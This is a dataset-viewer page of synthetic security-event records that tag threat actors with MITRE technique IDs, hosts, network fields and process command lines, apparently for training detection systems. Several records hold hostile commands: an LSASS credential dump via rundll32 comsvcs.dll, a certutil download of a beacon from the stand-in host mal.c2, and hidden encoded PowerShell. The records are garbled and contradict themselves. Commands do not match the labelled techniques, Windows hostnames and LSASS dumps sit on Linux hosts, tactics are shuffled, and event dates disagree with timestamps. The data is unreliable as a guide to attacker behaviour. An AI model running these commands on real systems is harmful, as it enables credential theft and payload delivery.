Dataset Viewer
Auto-converted to Parquet Duplicate
text
stringlengths
1.13k
1.33k
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1531 using fileless technique.","sub_technique":"Cloud Service Hijack / Account Access Removal","tactic":["Impact","Command and Control"],"technique_id":"T1531"},"event_id":"evt_lapsus_20250721T051235000Z_0000001","ground_truth":{"detection_guidance":"Sigma rule for T1531 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","LOLBin","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.212.226.130","name":"AZURE-VM-1P9J95RLR8","os":"Windows Server 2022"},"impact":{"business_risk":"Domain dominance","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"1Lapsus$T1531"},"network":{"domain":"update.microsoft.com","dst_ip":"1.20.55.177","dst_port":445,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 3587 C:\\temp\\lsass.dmp full","name":"powershell.exe","parent_name":"services.exe"},"source":"Sysmon (DS0024)","timestamp":"2025-10-29T20:14:56.000Z","user":{"name":"i-waflm3oi4ck7","sid":"S-1-5-21-280848010-864482532-1076"}}
{"attack":{"actor":"FIN7","confidence":1.0,"description":"[FIN7] performed T1098.004 using LOLBin technique.","sub_technique":"SSH Authorized Keys","tactic":["Lateral Movement","Initial Access","Collection"],"technique_id":"T1098.004"},"event_id":"evt_fin7_20261030T193803000Z_0000003","ground_truth":{"detection_guidance":"Sigma rule for T1098.004 | Join on src_ip within 10m","evasion_used":["WMI","TLS","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.213.190.168","name":"DB-ORACLE-XHZSIDDKCM","os":"Windows 11"},"impact":{"business_risk":"Cloud environment takeover","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"3FIN7T1098.004"},"network":{"domain":"aws.amazon.com","dst_ip":"1.20.119.241","dst_port":445,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 525 C:\\temp\\lsass.dmp full","name":"cmstp.exe","parent_name":"winlogon.exe"},"source":"CloudTrail (DS0028)","timestamp":"2026-09-04T17:33:25.000Z","user":{"name":"i-i3mc0lc3gj9l","sid":"S-1-5-21-221295705-925837674-6505"}}
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1098.004 using fileless technique.","sub_technique":"SSH Authorized Keys","tactic":["Lateral Movement","Privilege Escalation","Collection"],"technique_id":"T1098.004"},"event_id":"evt_apt41_20251211T161701000Z_0000005","ground_truth":{"detection_guidance":"Sigma rule for T1098.004 | Join on src_ip within 10m","evasion_used":["WMI","TLS","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.105.124.119","name":"AZURE-VM-0Z9M158WLL","os":"Windows Server 2022"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"5APT41T1098.004"},"network":{"domain":"update.microsoft.com","dst_ip":"1.174.255.64","dst_port":3389,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 2697 C:\\temp\\lsass.dmp full","name":"certutil.exe","parent_name":"svchost.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2025-06-20T08:29:07.000Z","user":{"name":"svc_0kfme8f12v00","sid":"S-1-5-21-163403464-463924589-7297"}}
{"attack":{"actor":"Volt Typhoon","confidence":1.0,"description":"[Volt Typhoon] performed T1484.001 using LOLBin technique.","sub_technique":"Domain Policy Modification: Group Policy Modification","tactic":["Command and Control","Defense Evasion"],"technique_id":"T1484.001"},"event_id":"evt_volttyphoon_20251129T030312000Z_0000007","ground_truth":{"detection_guidance":"Sigma rule for T1484.001 | Join on src_ip within 10m","evasion_used":["Fileless","JA3 Spoof","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.246.190.181","name":"WIN-FIN-SRV-VJ9KQGKOJ7","os":"Ubuntu 22.04"},"impact":{"business_risk":"Domain dominance","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"7Volt TyphoonT1484.001"},"network":{"domain":"github.com","dst_ip":"1.146.91.125","dst_port":5985,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc aWV4IChOZXctT2JqZWN0IE5ldC...","name":"bitsadmin.exe","parent_name":"services.exe"},"source":"Network Connection (DS0029)","timestamp":"2025-11-08T21:21:46.000Z","user":{"name":"arn:aws:iam::csbn4oj86te6","sid":"S-1-5-21-621265025-722263753-8009"}}
{"attack":{"actor":"Volt Typhoon","confidence":1.0,"description":"[Volt Typhoon] performed T1071.001 using fileless technique.","sub_technique":"Web Protocols (HTTPS C2)","tactic":["Discovery","Reconnaissance"],"technique_id":"T1071.001"},"event_id":"evt_volttyphoon_20260115T123207000Z_0000009","ground_truth":{"detection_guidance":"Sigma rule for T1071.001 | Join on src_ip within 10m","evasion_used":["Fileless","WMI","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.127.83.151","name":"APP-WEB-W9F45636PK","os":"Ubuntu 22.04"},"impact":{"business_risk":"Cloud environment takeover","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"9Volt TyphoonT1071.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.37.15.20","dst_port":3389,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 3475 C:\\temp\\lsass.dmp full","name":"certutil.exe","parent_name":"svchost.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2025-07-13T22:20:41.000Z","user":{"name":"CORP\\cqiqq2bnp9c3","sid":"S-1-5-21-208618227-689928144-5810"}}
{"attack":{"actor":"APT29","confidence":1.0,"description":"[APT29] performed T1098.004 using cloud-native technique.","sub_technique":"SSH Authorized Keys","tactic":["Privilege Escalation","Collection"],"technique_id":"T1098.004"},"event_id":"evt_apt29_20250924T193340000Z_0000011","ground_truth":{"detection_guidance":"Sigma rule for T1098.004 | Join on src_ip within 10m","evasion_used":["Fileless","TLS","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.15.79.127","name":"DB-ORACLE-84BEX64PHA","os":"Ubuntu 22.04"},"impact":{"business_risk":"Data exfiltration channel open","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"11APT29T1098.004"},"network":{"domain":"cdn-content.com","dst_ip":"1.88.218.49","dst_port":443,"protocol":"HTTP/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"certutil.exe","parent_name":"services.exe"},"source":"Windows Security Log","timestamp":"2026-09-22T16:57:14.000Z","user":{"name":"i-4zzkattk8n8x","sid":"S-1-5-21-302651927-353589263-7011"}}
{"attack":{"actor":"Scattered Spider","confidence":1.0,"description":"[Scattered Spider] performed T1021.006 using fileless technique.","sub_technique":"Windows Remote Management","tactic":["Reconnaissance","Credential Access","Lateral Movement"],"technique_id":"T1021.006"},"event_id":"evt_scatteredspider_20260603T123722000Z_0000013","ground_truth":{"detection_guidance":"Sigma rule for T1021.006 | Join on src_ip within 10m","evasion_used":["WMI","Base64","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.88.28.185","name":"WIN-FIN-SRV-IWWVBWUWBO","os":"Windows Server 2022"},"impact":{"business_risk":"Cloud environment takeover","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"13Scattered SpiderT1021.006"},"network":{"domain":"github.com","dst_ip":"1.129.185.139","dst_port":3389,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc JABkACAALQBlAH...","name":"cmstp.exe","parent_name":"winlogon.exe"},"source":"CloudTrail (DS0028)","timestamp":"2025-09-08T18:11:41.000Z","user":{"name":"CORP\\d5p6oy736gsy","sid":"S-1-5-21-590167283-733964920-1376"}}
{"attack":{"actor":"Mustang Panda","confidence":1.0,"description":"[Mustang Panda] performed T1021.006 using cloud-native technique.","sub_technique":"Windows Remote Management","tactic":["Collection","Persistence"],"technique_id":"T1021.006"},"event_id":"evt_mustangpanda_20260829T044305000Z_0000015","ground_truth":{"detection_guidance":"Sigma rule for T1021.006 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","TLS","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.94.75.72","name":"EC2-INST-TIJV15QBR7","os":"Ubuntu 22.04"},"impact":{"business_risk":"Data exfiltration channel open","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"15Mustang PandaT1021.006"},"network":{"domain":"update.microsoft.com","dst_ip":"1.17.117.69","dst_port":3389,"protocol":"HTTP/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc JABkACAALQBlAH...","name":"certutil.exe","parent_name":"winlogon.exe"},"source":"Network Connection (DS0029)","timestamp":"2026-11-17T09:17:13.000Z","user":{"name":"CORP\\jh83egtjszjy","sid":"S-1-5-21-531735596-377754329-1446"}}
{"attack":{"actor":"Volt Typhoon","confidence":1.0,"description":"[Volt Typhoon] performed T1098.004 using fileless technique.","sub_technique":"SSH Authorized Keys","tactic":["Lateral Movement","Discovery","Privilege Escalation"],"technique_id":"T1098.004"},"event_id":"evt_volttyphoon_20260313T051905000Z_0000017","ground_truth":{"detection_guidance":"Sigma rule for T1098.004 | Join on src_ip within 10m","evasion_used":["Base64","Fileless","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.242.147.181","name":"APP-WEB-M906X433TV","os":"Windows 11"},"impact":{"business_risk":"Domain dominance","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"17Volt TyphoonT1098.004"},"network":{"domain":"cdn-content.com","dst_ip":"1.136.213.178","dst_port":5985,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"rundll32.exe","parent_name":"svchost.exe"},"source":"Windows Security Log","timestamp":"2026-12-27T01:29:28.000Z","user":{"name":"svc_6bcr92f5j8zc","sid":"S-1-5-21-634802399-982747874-6373"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1546.003 using cloud-native technique.","sub_technique":"Event Triggered Execution: WMI Event Subscription","tactic":["Impact"],"technique_id":"T1546.003"},"event_id":"evt_lapsus_20250307T012015000Z_0000019","ground_truth":{"detection_guidance":"Sigma rule for T1546.003 | Join on src_ip within 10m","evasion_used":["Fileless","WMI","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.134.148.241","name":"EC2-INST-H4Y1ZY2MPJ","os":"Amazon Linux 2"},"impact":{"business_risk":"Domain dominance","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19Lapsus$T1546.003"},"network":{"domain":"aws.amazon.com","dst_ip":"1.106.40.81","dst_port":3389,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc UQBvAHcAZQByAFMAaABlAGwAbAAgAC0A...","name":"mshta.exe","parent_name":"explorer.exe"},"source":"CloudTrail (DS0028)","timestamp":"2025-04-06T05:01:20.000Z","user":{"name":"arn:aws:iam::8s21yro4rwce","sid":"S-1-5-21-130452992-680901491-2358"}}
{"attack":{"actor":"APT29","confidence":1.0,"description":"[APT29] performed T1531 using encrypted C2 technique.","sub_technique":"Cloud Service Hijack / Account Access Removal","tactic":["Reconnaissance"],"technique_id":"T1531"},"event_id":"evt_apt29_20260124T021756000Z_0000021","ground_truth":{"detection_guidance":"Sigma rule for T1531 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","Fileless","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.61.215.13","name":"EC2-INST-M8LBPKD7B9","os":"Amazon Linux 2"},"impact":{"business_risk":"Domain dominance","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"21APT29T1531"},"network":{"domain":"update.microsoft.com","dst_ip":"1.74.28.246","dst_port":443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"powershell.exe","parent_name":"services.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2026-07-07T16:25:20.000Z","user":{"name":"i-8wwn6v5xqpxh","sid":"S-1-5-21-662584111-607032420-4515"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1484.001 using fileless technique.","sub_technique":"Domain Policy Modification: Group Policy Modification","tactic":["Initial Access","Collection"],"technique_id":"T1484.001"},"event_id":"evt_lapsus_20260516T161406000Z_0000023","ground_truth":{"detection_guidance":"Sigma rule for T1484.001 | Join on src_ip within 10m","evasion_used":["Base64","Fileless","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.33.114.80","name":"APP-WEB-C8M4XUR0KB","os":"Amazon Linux 2"},"impact":{"business_risk":"Long-term persistence achieved","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"23Lapsus$T1484.001"},"network":{"domain":"github.com","dst_ip":"1.70.31.110","dst_port":5985,"protocol":"HTTP/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 2865 C:\\temp\\lsass.dmp full","name":"rundll32.exe","parent_name":"winlogon.exe"},"source":"Windows Security Log","timestamp":"2025-02-28T07:14:30.000Z","user":{"name":"CORP\\5pm2bxj7iwg1","sid":"S-1-5-21-106743149-724704956-3859"}}
{"attack":{"actor":"Mustang Panda","confidence":1.0,"description":"[Mustang Panda] performed T1071.001 using LOLBin technique.","sub_technique":"Web Protocols (HTTPS C2)","tactic":["Persistence","Reconnaissance"],"technique_id":"T1071.001"},"event_id":"evt_mustangpanda_20251006T111744000Z_0000025","ground_truth":{"detection_guidance":"Sigma rule for T1071.001 | Join on src_ip within 10m","evasion_used":["TLS","Base64","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.102.141.137","name":"WIN-FIN-SRV-829I75EL1R","os":"Windows Server 2022"},"impact":{"business_risk":"Cloud environment takeover","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"25Mustang PandaT1071.001"},"network":{"domain":"cdn-content.com","dst_ip":"1.78.66.189","dst_port":5985,"protocol":"HTTP/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"cmstp.exe","parent_name":"winlogon.exe"},"source":"CloudTrail (DS0028)","timestamp":"2026-12-24T05:39:01.000Z","user":{"name":"i-zlsaz3t68cgs","sid":"S-1-5-21-584536454-508003893-3079"}}
{"attack":{"actor":"Volt Typhoon","confidence":1.0,"description":"[Volt Typhoon] performed T1566.001 using encrypted C2 technique.","sub_technique":"Phishing: Spearphishing Attachment","tactic":["Initial Access"],"technique_id":"T1566.001"},"event_id":"evt_volttyphoon_20260716T212602000Z_0000027","ground_truth":{"detection_guidance":"Sigma rule for T1566.001 | Join on src_ip within 10m","evasion_used":["LOLBin","Base64","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.106.37.89","name":"EC2-INST-E38ZQ6YS8J","os":"Windows Server 2022"},"impact":{"business_risk":"Cloud environment takeover","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"27Volt TyphoonT1566.001"},"network":{"domain":"cdn-content.com","dst_ip":"1.43.68.197","dst_port":443,"protocol":"HTTP/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"cmstp.exe","parent_name":"winlogon.exe"},"source":"CloudTrail (DS0028)","timestamp":"2025-09-27T02:39:59.000Z","user":{"name":"svc_ena0anv5qnxh","sid":"S-1-5-21-271079877-728626895-8608"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1059.001 using cloud-native technique.","sub_technique":"PowerShell","tactic":["Initial Access","Collection","Reconnaissance"],"technique_id":"T1059.001"},"event_id":"evt_lapsus_20260818T101325000Z_0000029","ground_truth":{"detection_guidance":"Sigma rule for T1059.001 | Join on src_ip within 10m","evasion_used":["WMI","LOLBin","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.77.251.12","name":"WIN-FIN-SRV-VJNFW75W0U","os":"Windows 11"},"impact":{"business_risk":"Domain dominance","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"29Lapsus$T1059.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.37.196.51","dst_port":445,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 2907 C:\\temp\\lsass.dmp full","name":"rundll32.exe","parent_name":"svchost.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2025-04-09T06:36:13.000Z","user":{"name":"i-qazbs8fz8e92","sid":"S-1-5-21-275212023-491990874-5627"}}
{"attack":{"actor":"Mustang Panda","confidence":1.0,"description":"[Mustang Panda] performed T1484.001 using encrypted C2 technique.","sub_technique":"Domain Policy Modification: Group Policy Modification","tactic":["Execution","Discovery"],"technique_id":"T1484.001"},"event_id":"evt_mustangpanda_20261012T235103000Z_0000031","ground_truth":{"detection_guidance":"Sigma rule for T1484.001 | Join on src_ip within 10m","evasion_used":["WMI","TLS","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.40.250.58","name":"APP-WEB-LCHWYVW4RB","os":"Windows 11"},"impact":{"business_risk":"Cloud environment takeover","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"31Mustang PandaT1484.001"},"network":{"domain":"cdn-content.com","dst_ip":"1.33.254.190","dst_port":445,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"certutil.exe","parent_name":"explorer.exe"},"source":"Sysmon (DS0024)","timestamp":"2025-05-05T01:34:40.000Z","user":{"name":"arn:aws:iam::3mznrpu7zc31","sid":"S-1-5-21-408107723-188811634-7086"}}
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1484.001 using cloud-native technique.","sub_technique":"Domain Policy Modification: Group Policy Modification","tactic":["Persistence"],"technique_id":"T1484.001"},"event_id":"evt_unc4841_20261118T021846000Z_0000033","ground_truth":{"detection_guidance":"Sigma rule for T1484.001 | Join on src_ip within 10m","evasion_used":["Base64","JA3 Spoof","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.67.81.211","name":"EC2-INST-2P4SI8J19F","os":"Amazon Linux 2"},"impact":{"business_risk":"Domain dominance","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"33UNC4841T1484.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.62.148.250","dst_port":443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"bitsadmin.exe","parent_name":"services.exe"},"source":"Sysmon (DS0024)","timestamp":"2026-05-24T07:31:11.000Z","user":{"name":"arn:aws:iam::4yler8n5ftgx","sid":"S-1-5-21-377047601-317839724-6239"}}
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1003.001 using encrypted C2 technique.","sub_technique":"OS Credential Dumping: LSASS Memory","tactic":["Command and Control"],"technique_id":"T1003.001"},"event_id":"evt_apt41_20250908T134646000Z_0000035","ground_truth":{"detection_guidance":"Sigma rule for T1003.001 | Join on src_ip within 10m","evasion_used":["Fileless","TLS","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.174.14.205","name":"DB-ORACLE-MNBBHEX1WL","os":"Ubuntu 22.04"},"impact":{"business_risk":"Cloud environment takeover","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"35APT41T1003.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.151.85.4","dst_port":443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc UQBvAHcAZQByAFMAaABlAGwAbAAgAC0A...","name":"mshta.exe","parent_name":"svchost.exe"},"source":"CloudTrail (DS0028)","timestamp":"2025-02-04T00:11:03.000Z","user":{"name":"azuread\\oo6jlrlg8ixn","sid":"S-1-5-21-413506799-503325340-8675"}}
{"attack":{"actor":"FIN7","confidence":1.0,"description":"[FIN7] performed T1546.003 using cloud-native technique.","sub_technique":"Event Triggered Execution: WMI Event Subscription","tactic":["Reconnaissance","Execution","Credential Access"],"technique_id":"T1546.003"},"event_id":"evt_fin7_20250630T122556000Z_0000037","ground_truth":{"detection_guidance":"Sigma rule for T1546.003 | Join on src_ip within 10m","evasion_used":["TLS","JA3 Spoof","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.63.177.65","name":"EC2-INST-RLI19O49J4","os":"Ubuntu 22.04"},"impact":{"business_risk":"Cloud environment takeover","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"37FIN7T1546.003"},"network":{"domain":"cdn-content.com","dst_ip":"1.123.242.163","dst_port":3389,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"cmstp.exe","parent_name":"svchost.exe"},"source":"CloudTrail (DS0028)","timestamp":"2026-06-14T02:47:47.000Z","user":{"name":"arn:aws:iam::nf6kh2xl9qu6","sid":"S-1-5-21-646622204-773321906-4389"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1531 using LOLBin technique.","sub_technique":"Cloud Service Hijack / Account Access Removal","tactic":["Execution"],"technique_id":"T1531"},"event_id":"evt_lapsus_20260616T084534000Z_0000039","ground_truth":{"detection_guidance":"Sigma rule for T1531 | Join on src_ip within 10m","evasion_used":["TLS","Fileless","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.92.36.94","name":"IAM-ROLE-QERC4EA1YB","os":"Ubuntu 22.04"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"39Lapsus$T1531"},"network":{"domain":"github.com","dst_ip":"1.66.167.63","dst_port":3389,"protocol":"HTTP/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc aWV4IChOZXctT2JqZWN0IE5ldC...","name":"powershell.exe","parent_name":"winlogon.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2025-05-20T03:02:12.000Z","user":{"name":"arn:aws:iam::l6xdgoeh3tzk","sid":"S-1-5-21-797794818-525084669-9044"}}
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1566.001 using encrypted C2 technique.","sub_technique":"Phishing: Spearphishing Attachment","tactic":["Lateral Movement","Execution","Impact"],"technique_id":"T1566.001"},"event_id":"evt_unc4841_20250829T153359000Z_0000041","ground_truth":{"detection_guidance":"Sigma rule for T1566.001 | Join on src_ip within 10m","evasion_used":["WMI","Base64","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.11.162.100","name":"DB-ORACLE-0QZZLIC1MG","os":"Windows 11"},"impact":{"business_risk":"Long-term persistence achieved","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"41UNC4841T1566.001"},"network":{"domain":"cdn-content.com","dst_ip":"1.152.228.213","dst_port":5985,"protocol":"HTTP/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"rundll32.exe","parent_name":"explorer.exe"},"source":"CloudTrail (DS0028)","timestamp":"2025-04-19T02:22:03.000Z","user":{"name":"azuread\\g02o6nf2zb1w","sid":"S-1-5-21-176195890-598332561-8017"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1098.004 using fileless technique.","sub_technique":"SSH Authorized Keys","tactic":["Reconnaissance","Discovery"],"technique_id":"T1098.004"},"event_id":"evt_lapsus_20260711T021826000Z_0000043","ground_truth":{"detection_guidance":"Sigma rule for T1098.004 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","TLS","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.152.35.212","name":"DB-ORACLE-D9KPH5JHT1","os":"Windows Server 2022"},"impact":{"business_risk":"Cloud environment takeover","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"43Lapsus$T1098.004"},"network":{"domain":"cdn-content.com","dst_ip":"1.38.162.245","dst_port":5985,"protocol":"HTTP/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc JABkACAALQBlAH...","name":"cmstp.exe","parent_name":"winlogon.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2025-10-06T00:10:50.000Z","user":{"name":"azuread\\notdud09zz86","sid":"S-1-5-21-666842840-958634818-4597"}}
